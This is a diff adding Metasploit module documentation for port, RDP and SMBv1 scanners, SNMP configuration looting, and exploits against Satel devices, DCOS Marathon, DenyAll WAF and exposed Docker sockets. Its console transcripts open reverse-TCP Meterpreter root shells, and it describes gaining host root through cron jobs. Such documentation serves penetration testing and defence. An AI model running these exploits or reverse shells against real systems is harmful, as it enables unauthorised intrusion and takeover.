+[*]  TCP OPEN 192.168.45.159:2121
+[*]  TCP OPEN 192.168.45.159:3306
+[*]  TCP OPEN 192.168.45.159:3632
+[*]  TCP OPEN 192.168.45.159:6000
+[*]  TCP OPEN 192.168.45.159:6697
+[*]  TCP OPEN 192.168.45.159:8009
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+
+```
diff --git a/documentation/modules/auxiliary/scanner/portscan/tcp.md b/documentation/modules/auxiliary/scanner/portscan/tcp.md
new file mode 100644
index 0000000000..61eea3ec25
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/portscan/tcp.md
@@ -0,0 +1,71 @@
+## Description
+  
+   This module will enumerate open TCP services by performing a full TCP connect on each port. This will establish a complete three-way handshake (SYN -> SYN/ACK -> ACK) on the target port. This does not need administrative privileges on the source machine, which may be useful if pivoting.
+
+## Vulnerable Application
+
+  Any reachable TCP endpoint is a potential target.
+
+## Options
+
+  **PORTS**
+
+  This is the list of ports to test for TCP Scan on each host.
+  Formats like  `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default
+  options is to scan `1-10000` ports.
+ 
+  **ConnectTimeout**
+
+  This options states the maximum number of seconds to establish a tcp 
+  connection. Default value if `10`.
+ 
+  **VERBOSE**
+
+  Gives detailed message about the scan of all the ports. It also shows the
+  ports that were closed.
+
+## Verification Steps
+
+  1. Do: ```use auxiliary/scanner/portscan/tcp```
+  2. Do: ```set RHOSTS [IP]```
+  3. Do: ```set PORTS [PORTS]```
+  4. Do: ```run```
+  
+## Scenarios
+
+### Metaspliotable 2
+  
+```	
+msf > use auxiliary/scanner/portscan/tcp
+msf auxiliary(tcp) > set RHOSTS 192.168.45.159
+msf auxiliary(tcp) > set PORTS 1-10000
+msf auxiliary(tcp) > run
+[*] 192.168.45.159:       - 192.168.45.159:25 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:21 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:23 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:22 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:53 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:80 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:111 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:139 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:445 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:513 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:514 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:512 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:1099 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:1524 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:2049 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:2121 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:3306 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:3632 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:5432 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:5900 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:6000 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:6667 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:6697 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:8009 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:8180 - TCP OPEN
+[*] 192.168.45.159:       - 192.168.45.159:8787 - TCP OPEN
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
diff --git a/documentation/modules/auxiliary/scanner/portscan/xmas.md b/documentation/modules/auxiliary/scanner/portscan/xmas.md
new file mode 100644
index 0000000000..d9d43bdbab
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/portscan/xmas.md
@@ -0,0 +1,91 @@
+# Description
+
+This module is used to determine if the ports on target machine are closed. It sends probes containing the FIN, PSH and URG flags. Scan is faster and stealthier compared to some other scans. Following action are performed depending on the state of ports -
+
+#### OPEN|FILTERED Port:
+Detects open|filtered port via no response to the segment
+
+#### Closed Port: 
+Detects a closed port via a RST received in response to the FIN
+
+# Required Permissions
+
+  XMAS scan requires the use of raw sockets, and thus cannot be performed from some Windows
+  systems (Windows XP SP 2, for example). On Unix and Linux, raw socket manipulations require root privileges.
+
+# Options
+
+  **PORTS**
+  
+  This is the list of TCP ports to test on each host.
+  Formats like  `1-3`, `1,2,3`, `1,2-3`, etc. are all supported. Default
+  options is to scan `1-10000` ports.
+  
+  **Timeout**
+
+  This options states the reply read timeout in milliseconds. Default value if `500`.
+
+  **RHOSTS**
+
+  The target address range is defined in this option.
+
+  **VERBOSE**
+  
+  Gives detailed message about the scan of all the ports. It also shows the
+  ports that were not open/filtered.
+
+# Verification Steps
+
+  1. Do: `use auxiliary/scanner/portscan/xmas`
+  2. Do: `set RHOSTS [IP]`
+  3. Do: `set PORTS [PORTS]`
+  4. Do: `run`
+  5. The open/filtered ports will be discovered, status will be printed indicating as such.
+
+# Scenarios
+  
+### Metaspliotable 2
+
+```
+msf > use auxiliary/scanner/portscan/xmas
+msf auxiliary(xmas) > set rhosts 192.168.45.159
+rhosts => 192.168.45.159
+msf auxiliary(xmas) > set ports 1-100
+ports => 1-100
+msf auxiliary(xmas) > run
+
+[*]  TCP OPEN|FILTERED 192.168.45.159:1
+[*]  TCP OPEN|FILTERED 192.168.45.159:3
+[*]  TCP OPEN|FILTERED 192.168.45.159:5
+[*]  TCP OPEN|FILTERED 192.168.45.159:8
+[*]  TCP OPEN|FILTERED 192.168.45.159:12
+[*]  TCP OPEN|FILTERED 192.168.45.159:14
+[*]  TCP OPEN|FILTERED 192.168.45.159:16
+[*]  TCP OPEN|FILTERED 192.168.45.159:19
+[*]  TCP OPEN|FILTERED 192.168.45.159:21
+[*]  TCP OPEN|FILTERED 192.168.45.159:37
+[*]  TCP OPEN|FILTERED 192.168.45.159:39
+[*]  TCP OPEN|FILTERED 192.168.45.159:41
+[*]  TCP OPEN|FILTERED 192.168.45.159:43
+[*]  TCP OPEN|FILTERED 192.168.45.159:49
+[*]  TCP OPEN|FILTERED 192.168.45.159:52
+[*]  TCP OPEN|FILTERED 192.168.45.159:53
+[*]  TCP OPEN|FILTERED 192.168.45.159:55
+[*]  TCP OPEN|FILTERED 192.168.45.159:57
+[*]  TCP OPEN|FILTERED 192.168.45.159:59
+[*]  TCP OPEN|FILTERED 192.168.45.159:61
+[*]  TCP OPEN|FILTERED 192.168.45.159:63
+[*]  TCP OPEN|FILTERED 192.168.45.159:65
+[*]  TCP OPEN|FILTERED 192.168.45.159:67
+[*]  TCP OPEN|FILTERED 192.168.45.159:69
+[*]  TCP OPEN|FILTERED 192.168.45.159:73
+[*]  TCP OPEN|FILTERED 192.168.45.159:89
+[*]  TCP OPEN|FILTERED 192.168.45.159:91
+[*]  TCP OPEN|FILTERED 192.168.45.159:93
+[*]  TCP OPEN|FILTERED 192.168.45.159:95
+[*]  TCP OPEN|FILTERED 192.168.45.159:97
+[*]  TCP OPEN|FILTERED 192.168.45.159:99
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+
+```
diff --git a/documentation/modules/auxiliary/scanner/rdp/rdp_scanner.md b/documentation/modules/auxiliary/scanner/rdp/rdp_scanner.md
new file mode 100644
index 0000000000..068377810b
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/rdp/rdp_scanner.md
@@ -0,0 +1,66 @@
+## Vulnerable Application
+
+  Any system exposing the remote desktop protocol, RDP, typically on 3389/TCP.
+
+## Verification Steps
+
+  1. Do: ```use auxiliary/scanner/rdp/rdp_scanner```
+  2. Do: ```set [RHOSTS]```, replacing ```[RHOSTS]``` with a list of hosts to test for the presence of RDP
+  3. Do: ```run```
+  4. If the host is exposing an identifiable RDP instance, it will print the endpoint.
+
+## Options
+
+  There are three options currently supported that control what security protocols to
+  send in the RDP negotiation request, which can be helpful in identifying RDP
+  endpoints that might be locked down or configured differently:
+
+  **TLS** Set to true to request TLS security support
+  **CredSSP** Set to true to request CredSSP support
+  **EarlyUser** Set to true to request Early User Authorization Result PDU support
+
+## Scenarios
+
+  ```
+msf auxiliary(rdp_scanner) > run
+
+[+] 10.4.18.26:3389       - Identified RDP
+[+] 10.4.18.22:3389       - Identified RDP
+[+] 10.4.18.89:3389       - Identified RDP
+[+] 10.4.18.9:3389        - Identified RDP
+[+] 10.4.18.67:3389       - Identified RDP
+[+] 10.4.18.80:3389       - Identified RDP
+[+] 10.4.18.34:3389       - Identified RDP
+[+] 10.4.18.70:3389       - Identified RDP
+[+] 10.4.18.30:3389       - Identified RDP
+[+] 10.4.18.76:3389       - Identified RDP
+[+] 10.4.18.13:3389       - Identified RDP
+[+] 10.4.18.91:3389       - Identified RDP
+[+] 10.4.18.5:3389        - Identified RDP
+[+] 10.4.18.47:3389       - Identified RDP
+[+] 10.4.18.41:3389       - Identified RDP
+[+] 10.4.18.105:3389      - Identified RDP
+[*] Scanned  44 of 256 hosts (17% complete)
+[*] Scanned  55 of 256 hosts (21% complete)
+[+] 10.4.18.118:3389      - Identified RDP
+[+] 10.4.18.108:3389      - Identified RDP
+[+] 10.4.18.139:3389      - Identified RDP
+[*] Scanned  94 of 256 hosts (36% complete)
+[*] Scanned 110 of 256 hosts (42% complete)
+[+] 10.4.18.157:3389      - Identified RDP
+[+] 10.4.18.166:3389      - Identified RDP
+[+] 10.4.18.164:3389      - Identified RDP
+[+] 10.4.18.170:3389      - Identified RDP
+[+] 10.4.18.185:3389      - Identified RDP
+[+] 10.4.18.209:3389      - Identified RDP
+[+] 10.4.18.188:3389      - Identified RDP
+[*] Scanned 156 of 256 hosts (60% complete)
+[+] 10.4.18.237:3389      - Identified RDP
+[+] 10.4.18.225:3389      - Identified RDP
+[*] Scanned 186 of 256 hosts (72% complete)
+[*] Scanned 194 of 256 hosts (75% complete)
+[*] Scanned 208 of 256 hosts (81% complete)
+[*] Scanned 253 of 256 hosts (98% complete)
+[*] Scanned 256 of 256 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
diff --git a/documentation/modules/auxiliary/scanner/smb/smb1.md b/documentation/modules/auxiliary/scanner/smb/smb1.md
new file mode 100644
index 0000000000..17c30c3a8a
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/smb/smb1.md
@@ -0,0 +1,55 @@
+# Description
+This module scans for hosts that support the SMBv1 protocol.  It works by sending an SMB_COM_NEGOTATE request to each host specified in RHOSTS and claims that it only supports the following SMB dialects:
+```PC NETWORK PROGRAM 1.0
+LANMAN1.0
+Windows for Workgroups 3.1a
+LM1.2X002
+LANMAN2.1
+NT LM 0.12
+```
+If the SMB server has SMBv1 enabled it will respond to the request with a dialect selected.
+If the SMB server does not support SMBv1 a RST will be sent.
+
+___
+# Usage
+
+The following is an example of its usage, where x.x.x.x allows SMBv1 and y.y.y.y does not.
+
+#### A host that does support SMBv1.
+
+```
+msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1
+msf auxiliary(smb1) > set RHOSTS x.x.x.x
+RHOSTS => x.x.x.x
+msf auxiliary(smb1) > run
+
+[+] x.x.x.x:445        - x.x.x.x supports SMBv1 dialect.
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+msf auxiliary(smb1) > services -S x.x.x.x
+
+Services
+========
+
+host        port  proto  name  state  info
+----        ----  -----  ----  -----  ----
+x.x.x.x 445   tcp    smb1  open
+```
+
+#### A host that does not support SMBv1
+
+```
+msf auxiliary(smb1) > use auxiliary/scanner/smb/smb1
+msf auxiliary(smb1) > set RHOSTS y.y.y.y
+RHOSTS => y.y.y.y
+msf auxiliary(smb1) > run
+
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+```
+___
+
+
+## Options
+
+The only option is RHOSTS, which can be specified as a single IP, hostname, or an IP range in CIDR notation or range notation.  It can also be set using hosts from the database using ```hosts -R```.
\ No newline at end of file
diff --git a/documentation/modules/auxiliary/scanner/snmp/cambium_snmp_loot.md b/documentation/modules/auxiliary/scanner/snmp/cambium_snmp_loot.md
index 33cc276ae5..313c4e82d9 100644
--- a/documentation/modules/auxiliary/scanner/snmp/cambium_snmp_loot.md
+++ b/documentation/modules/auxiliary/scanner/snmp/cambium_snmp_loot.md
@@ -1,6 +1,8 @@
-Cambium devices (ePMP, PMP, Force, others) can be administered using SNMP. The device configuration contains IP addresses, keys, and passwords, amongst other information. This module uses SNMP to extract Cambium ePMP device configuration. On certain software versions, specific device configuration values can be accessed using SNMP RO string, even though only SNMP RW string should be able to access them, according to MIB documentation.
+Cambium devices (ePMP, PMP, Force, others) can be administered using SNMP. The device configuration contains IP addresses, keys, and passwords, amongst other information.
+This module uses SNMP to extract Cambium ePMP device configuration. On certain software versions, specific device configuration values can be accessed using SNMP RO string, even though only SNMP RW string should be able to access them, according to MIB documentation.
 
-The module also triggers full configuration backup, and retrieves the backup url. The configuration file can then be downloaded without authentication. The module has been tested primarily on Cambium ePMP current version (3.2.x, as of today), PMP, and Force units.
+The module also triggers full configuration backup, and retrieves the backup url. The configuration file can then be downloaded without authentication.
+The module has been tested primarily on Cambium ePMP current version (3.2.x, as of today), PMP, and Force units.
 
 Note: If the backup url is not retrieved, it is recommended to increase the TIMEOUT and reduce the THREADS. Backup url can also be retrieved by quering the OID as follows:
 
@@ -16,7 +18,7 @@ snmpget -v2c -c public 1.3.3.7 1.3.6.1.4.1.17713.21.6.4.13.0
 3. Do: ```set RPORT [PORT]```
 4. Do: ```run```
 
-## Sample Output
+## Scenarios
 
   ```
 msf > use auxiliary/scanner/snmp/epmp_snmp_loot
diff --git a/documentation/modules/auxiliary/scanner/ssh/ssh_login.md b/documentation/modules/auxiliary/scanner/ssh/ssh_login.md
index 1a1be86f02..e50c0ff6bd 100644
--- a/documentation/modules/auxiliary/scanner/ssh/ssh_login.md
+++ b/documentation/modules/auxiliary/scanner/ssh/ssh_login.md
@@ -14,7 +14,7 @@
   5. Do: `run`
   6. You will hopefully see something similar to, followed by a session:
 
-  ````[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '```
+  ```[+] SSH - Success: 'msfadmin:msfadmin' 'uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin) Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux '```
 
 ## Options
 
diff --git a/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md b/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md
new file mode 100644
index 0000000000..c4d72b410f
--- /dev/null
+++ b/documentation/modules/auxiliary/scanner/telnet/satel_cmd_exec.md
@@ -0,0 +1,28 @@
+This module exploits an OS Command Injection vulnerability in Satel SenNet Data Logger and Electricity Meters to perform arbitrary command execution as 'root'.
+
+The following versions of SenNet Data Logger and Electricity Meters, monitoring platforms, are affected:
+1. SenNet Optimal DataLogger V5.37c-1.43c and prior,
+2. SenNet Solar Datalogger V5.03-1.56a and prior, and
+3. SenNet Multitask Meter V5.21a-1.18b and prior.
+
+## Verification Steps
+
+1. Do: ```use auxiliary/scanner/telnet/satel_cmd_exec```
+2. Do: ```set RHOSTS [IP]```
+3. Do: ```set RPORT [PORT]```
+4. Do: ```run```
+
+## Sample Output
+
+  ```
+msf > use auxiliary/scanner/telnet/satel_cmd_exec
+msf auxiliary(satel_cmd_exec) > set rhosts 1.3.3.7
+msf auxiliary(satel_cmd_exec) > run
+
+[*] 1.3.3.7:5000   - Sending command now - id;
+[+] 1.3.3.7:5000   - uid=0(root) gid=0(root)
+[+] 1.3.3.7:5000   - File saved in: /root/.msf4/loot/20000000000003_1.3.3.7_cmdexeclog_12345.txt
+[*] Scanned 1 of 1 hosts (100% complete)
+[*] Auxiliary module execution completed
+
+  ```
diff --git a/documentation/modules/exploit/linux/http/centreon_useralias_exec.md b/documentation/modules/exploit/linux/http/centreon_useralias_exec.md
index f9452ae0cd..9ac31d1ccc 100644
--- a/documentation/modules/exploit/linux/http/centreon_useralias_exec.md
+++ b/documentation/modules/exploit/linux/http/centreon_useralias_exec.md
@@ -187,7 +187,7 @@ finish
 ## Scenarios
 
 Just a standard run.
-
+```
     msf > use exploit/linux/http/centreon_useralias_exec
     msf exploit(centreon_useralias_exec) > set payload cmd/unix/reverse_python
     payload => cmd/unix/reverse_python
diff --git a/documentation/modules/exploit/linux/http/dcos_marathon.md b/documentation/modules/exploit/linux/http/dcos_marathon.md
new file mode 100644
index 0000000000..b215fe0556
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/dcos_marathon.md
@@ -0,0 +1,192 @@
+# Vulnerable Application
+Utilizing the DCOS Cluster's Marathon UI, an attacker can create
+a docker container with the '/' path mounted with read/write
+permissions on the host server that is running the docker container.
+As the docker container executes command as uid 0 it is honored
+by the host operating system allowing the attacker to edit/create
+files owed by root. This exploit abuses this to creates a cron job
+in the '/etc/cron.d/' path of the host server.
+
+*Notes: The docker image must be a valid docker image from
+hub.docker.com. Further more the docker container will only
+deploy if there are resources available in the DC/OS
+
+## DCOS
+This Exploit was tested with CentOS 7 as the host operating system for
+the 2 services of the DCOS cluster. With DCOS version 1.7 and 1.8, with
+Default 'custom' installation for on site premise setup. Only the Install
+part of the DCOS guide was completed, the system hardening and securing
+your cluster section where skipped. This is to represent a 'Default' install
+with a system admin conducting hasty deployments taking no thought about security.
+
+
+## To Setup Your Cluster
+I recommend doing a 'on-premise'/custom
+cluster. https://dcos.io/docs/1.8/administration/installing/custom/
+Create a virtual CentOS machine, install requirements base on the above
+guide.
+
+```bash
+# The TLDR from the above guide
+sudo systemctl stop firewalld && sudo systemctl disable firewalld
+sudo yum install -y tar xz unzip curl ipset ntp
+sudo systemctl start ntpd
+sudo systemctl enable ntpd
+sudo sed -i s/SELINUX=enforcing/SELINUX=permissive/g /etc/selinux/config && \
+   sudo groupadd nogroup && sudo reboot
+```
+
+Install a supported version of docker on the CentOS systems
+https://dcos.io/docs/1.8/administration/installing/custom/system-requirements/install-docker-centos/
+
+```bash
+# The TLDR of the above guide
+sudo yum -y remove docker docker-common container-selinux
+sudo yum -y remove docker-selinux
+sudo yum install -y yum-utils
+sudo yum-config-manager \
+   --add-repo \
+   https://docs.docker.com/engine/installation/linux/repo_files/centos/docker.repo
+sudo yum-config-manager --enable docker-testing
+sudo yum makecache fast
+sudo yum -y install docker-engine-1.11.2
+sudo systemctl start docker
+sudo systemctl enable docker
+sudo echo overlay > /etc/modules-load.d/overlay.conf
+sudo reboot
+```
+
+Once the CentOS machine has rebooted, edit the systemctl
+service file for docker and change the ExecStart- line to
+`ExecStart=/usr/bin/docker daemon --storage-driver=overlay -H fd://`
+restart the docker service and verify it is running.
+lastly generate ssh rsa keys for authentication. And update the
+/etc/ssh/sshd_config file to support root login.
+
+```bash
+ssh-keygen -t rsa -b 4096
+# Press enter until complete, DO NOT PUT A PASSWORD.
+cp ~/.ssh/id_rsa.pub ~/.ssh/authorized_keys
+cat ~/.ssh/id_rsa # save the output you will need it for later
+rm ~/.ssh/id_rsa # before doing this make sure you have saved a copy for later
+```
+
+Shut down the CentOS vm, take a snapshot. (This will be your base)
+clone the VM 2 times. One will be DCOS-Master, the Other DCOS-Agent.
+Start the DCOS-Master and DCOS-Agent virtual machines You just cloned.
+Login and get their current IP address.
+* Note: I recommend giving them static IPs if you have further use for the cluster.
+
+From here use another Linux machine with docker installed to finish
+the installation process. I used an Ubuntu machine with docker installed.
+
+Follow the custom CLI guide for creating the required files in
+the genconf folder.
+https://dcos.io/docs/1.8/administration/installing/custom/cli/
+
+Example genconf/config.yaml
+```
+---
+agent_list:
+- 192.168.0.10
+bootstrap_url: file:///opt/dcos_install_tmp
+cluster_name: DCOS
+exhibitor_storage_backend: static
+ip_detect_filename: /genconf/ip-detect
+master_discovery: static
+master_list:
+- 192.168.0.9
+process_timeout: 10000
+resolvers:
+- 8.8.8.8
+- 8.8.4.4
+ssh_port: 22
+ssh_user: root
+```
+Example genconf/ip-detect
+```bash
+#!/usr/bin/env bash
+set -o nounset -o errexit
+export PATH=/usr/sbin:/usr/bin:$PATH
+ip=$(ip addr show ens33)
+echo $( echo $ip | grep -Eo '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1)
+```
+
+place your id_rsa ssh key into the genconf file and rename the
+file to ssh_key and `chmod 0600 genconf/ssh_key`
+
+Deploying the cluster
+in the folder containing the genconf folder do the following.
+NOTE: if following the cli install from DCOS itself, it will fail
+if you do --install-prereqs. It will install an unsupported version of
+docker.
+
+```bash
+curl -O https://downloads.dcos.io/dcos/stable/dcos_generate_config.sh
+chmod +x dcos_generate_config.sh
+sudo ./dcos_generate_config.sh --genconf
+sudo ./dcos_generate_config.sh --preflight
+# If all preflight checks pass
+sudo ./dcos_generate_config.sh --deploy
+# get a cup of coffie
+# wait a minute or two after deploy completes
+sudo bash dcos_generate_config.sh --postflight
+```
+
+If all is passing navigate to http://[master_ip]:8080/
+You should see the Marathon UI web application.
+
+# Exploitation
+This module is designed for the attacker to leverage, creation of a
+docker container with out authentication through the DCOS Marathon UI
+to gain root access to the hosting server of the docker container
+in the DCOS cluster.
+
+## Options
+- DOCKERIMAGE is the hub.docker.com docker container image you are wanting to have the DCOS Cluster to deploy for this exploit.
+- TARGETURI this is the path to make the Marathon UI web request to. By default this is /v2/apps
+- WAIT_TIMEOUT is how long you will wait for a docker container to deploy before bailing out if it does not start.
+- CONTAINER_ID is optional if you want to have your container docker have a human readable name else it will be randomly generated
+
+## Steps to exploit with module
+- [ ] Start msfconsole
+- [ ] use exploit/linux/http/dcos_marathon
+- [ ] Set the options appropriately and set VERBOSE to true
+- [ ] Verify it creates a docker container and it successfully runs
+- [ ] After a minute a session should be opened from the agent server
+
+## Example Output
+```
+msf > use exploit/linux/http/dcos_marathon
+msf exploit(dcos_marathon) > set RHOST 192.168.0.9
+RHOST => 192.168.0.9
+msf exploit(dcos_marathon) > set payload python/meterpreter/reverse_tcp
+payload => python/meterpreter/reverse_tcp
+msf exploit(dcos_marathon) > set LHOST 192.168.0.100
+LHOST => 192.168.0.100
+msf exploit(dcos_marathon) > set verbose true
+verbose => true
+msf exploit(dcos_marathon) > check
+[*] 192.168.0.9:8080 The target appears to be vulnerable.
+msf exploit(dcos_marathon) > exploit
+
+[*] Started reverse TCP handler on 192.168.0.100:4444
+[*] Setting container json request variables
+[*] Creating the docker container command
+[*] The docker container is created, waiting for it to deploy
+[*] Waiting up to 60 seconds for docker container to start
+[*] The docker container is running, removing it
+[*] Waiting for the cron job to run, can take up to 60 seconds
+[*] Sending stage (39690 bytes) to 192.168.0.10
+[*] Meterpreter session 1 opened (192.168.0.100:4444 -> 192.168.0.10:54468) at 2017-03-01 14:22:02 -0500
+[+] Deleted /etc/cron.d/FOWkTeZL
+[+] Deleted /tmp/TIWpOfUR
+
+meterpreter > sysinfo
+Computer        : localhost.localdomain
+OS              : Linux 3.10.0-327.36.3.el7.x86_64 #1 SMP Mon Oct 24 16:09:20 UTC 2016
+Architecture    : x64
+System Language : en_US
+Meterpreter     : python/linux
+meterpreter >
+```
diff --git a/documentation/modules/exploit/linux/http/denyall_waf_exec.md b/documentation/modules/exploit/linux/http/denyall_waf_exec.md
new file mode 100644
index 0000000000..c41efa6ae1
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/denyall_waf_exec.md
@@ -0,0 +1,47 @@
+## Vulnerable Application
+
+This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a terminal command under the context of the web server user.
+
+It's possible to have trial demo for 15 days at Amazon Marketplace.
+[https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911](https://aws.amazon.com/marketplace/pp/B01N4Q0INA?qid=1505806897911)
+
+You just need to follow instruction above URL.
+
+## Verification Steps
+
+A successful check of the exploit will look like this:
+
+- [ ] Start `msfconsole`
+- [ ] `use use exploit/linux/http/denyall_exec`
+- [ ] Set `RHOST`
+- [ ] Set `LHOST`
+- [ ] Run `check`
+- [ ] **Verify** that you are seeing `The target appears to be vulnerable.`
+- [ ] Run `exploit`
+- [ ] **Verify** that you are seeing `iToken` value extraction.
+- [ ] **Verify** that you are getting `meterpreter` session.
+
+## Scenarios
+
+```
+msf > use exploit/linux/http/denyall_exec 
+msf exploit(denyall_exec) > 
+msf exploit(denyall_exec) > set RHOST 35.176.123.128
+RHOST => 35.176.123.128
+msf exploit(denyall_exec) > set LHOST 35.12.3.3
+LHOST => 35.12.3.3
+msf exploit(denyall_exec) > check
+[*] 35.176.123.128:3001 The target appears to be vulnerable.
+msf exploit(denyall_exec) > exploit 
+
+[*] Started reverse TCP handler on 35.12.3.3:4444 
+[*] Extracting iToken value from unauthenticated accessible endpoint.
+[+] Awesome. iToken value = n84b214ad1f53df0bd6ffa3dcfe8059a
+[*] Trigerring command injection vulnerability with  iToken value.
+[*] Sending stage (40411 bytes) to 35.176.123.128
+[*] Meterpreter session 1 opened (35.176.123.128:4444 -> 35.12.3.3:60556) at 2017-09-19 14:31:52 +0300
+
+meterpreter > pwd
+/var/log/denyall/reverseproxy
+meterpreter >
+```
\ No newline at end of file
diff --git a/documentation/modules/exploit/linux/http/docker_daemon_tcp.md b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md
new file mode 100644
index 0000000000..4c32e54a03
--- /dev/null
+++ b/documentation/modules/exploit/linux/http/docker_daemon_tcp.md
@@ -0,0 +1,131 @@
+# Vulnerable Application
+Utilizing Docker via unprotected tcp socket (2375/tcp, maybe 2376/tcp
+with tls but without tls-auth), an attacker can create a Docker
+container with the '/' path mounted with read/write permissions on the
+host server that is running the Docker container. As the Docker 
+container executes command as uid 0 it is honored by the host operating
+system allowing the attacker to edit/create files owned by root. This
+exploit abuses this to creates a cron job in the '/etc/cron.d/' path of
+the host server.
+
+The Docker image should exist on the target system or be a valid image
+from hub.docker.com.
+
+## Docker Engine
+By default, Docker runs via a non-networked unix socket. It can also
+optionally communicate using a tcp socket.
+
+> Warning: Changing the default docker daemon binding to a TCP port or
+Unix docker user group will increase your security risks by allowing
+non-root users to gain root access on the host. Make sure you control
+access to docker. If you are binding to a TCP port, anyone with access
+to that port has full Docker access; so it is not advisable on an open
+network. -- [from docs.docker.com][1]
+
+This module was tested with Debian 9 and CentOS 7 as the host operating
+system and with Docker CE 17.06.0-ce and Docker Engine 1.13.1.
+
+### Install Debian 9
+First [install Debian 9][2] with default task selection. This includes
+the "*standard system utilities*".
+
+### Install Docker
+Then install a supported version of [Docker on Debian system][3].
+
+```bash
+# TL;DR
+apt-get remove docker docker-engine
+apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
+curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
+apt-key fingerprint 0EBFCD88
+# Verify that the key ID is 9DC8 5822 9FC7 DD38 854A E2D8 8D81 803C 0EBF CD88.
+add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian $(lsb_release -cs) stable"
+apt-get update
+apt-get install docker-ce
+docker run hello-world
+```
+
+### Activate unprotected tcp socket
+Once Docker is installed, customize the Docker daemon options and add
+the tcp socket `-H tcp://0.0.0.0:2375` option. On Debian override the
+settings from `/lib/systemd/system/docker.service` with a new file
+`/etc/systemd/system/docker.service`.
+
+Further information: [docker systemd][4] and [docker daemon options][5]. 
+
+```bash
+# TL;DR
+echo "[Service]
+ExecStart=/usr/bin/dockerd -H fd:// -H tcp://0.0.0.0:2375" | tee /etc/systemd/system/docker.service
+systemctl daemon-reload
+systemctl restart docker
+curl http://127.0.0.1:2375/_ping ; echo
+OK
+```
+
+### Mitigation
+
+[Disable][5] or [protect][6] the Docker tcp socket.
+
+# Exploitation
+This module is designed for the attacker to leverage, creation of a
+Docker container with out authentication through the Docker tcp socket
+to gain root access to the hosting server of the Docker container.
+
+## Options
+- DOCKERIMAGE is the locally or from hub.docker.com available image you are wanting to have Docker to deploy for this exploit.
+- CONTAINER_ID if you want to have a human readable name for your container, else it will be randomly generated
+
+## Steps to exploit with module
+- [ ] Start msfconsole
+- [ ] use exploit/linux/http/docker_daemon_tcp
+- [ ] Set the options appropriately and set VERBOSE to true
+- [ ] Verify it creates a Docker container and it successfully runs
+- [ ] After a minute a session should be opened from the Docker server
+
+## Example Output
+```
+msf > use exploit/linux/http/docker_daemon_tcp
+msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
+RHOST => 192.168.66.23
+msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp
+PAYLOAD => python/meterpreter/reverse_tcp
+msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
+LHOST => 192.168.66.10
+msf exploit(docker_daemon_tcp) > set VERBOSE true
+VERBOSE => true
+msf exploit(docker_daemon_tcp) > check
+[+] 192.168.66.23:2375 The target is vulnerable.
+msf exploit(docker_daemon_tcp) > run
+
+[*] Started reverse TCP handler on 192.168.66.10:4444
+[*] Check if images exist on the target host
+[*] Image is not available on the target host
+[*] Trying to pulling image from docker registry, this may take a while
+[*] Setting container json request variables
+[*] Creating the docker container command
+[*] The docker container is created, waiting for deploy
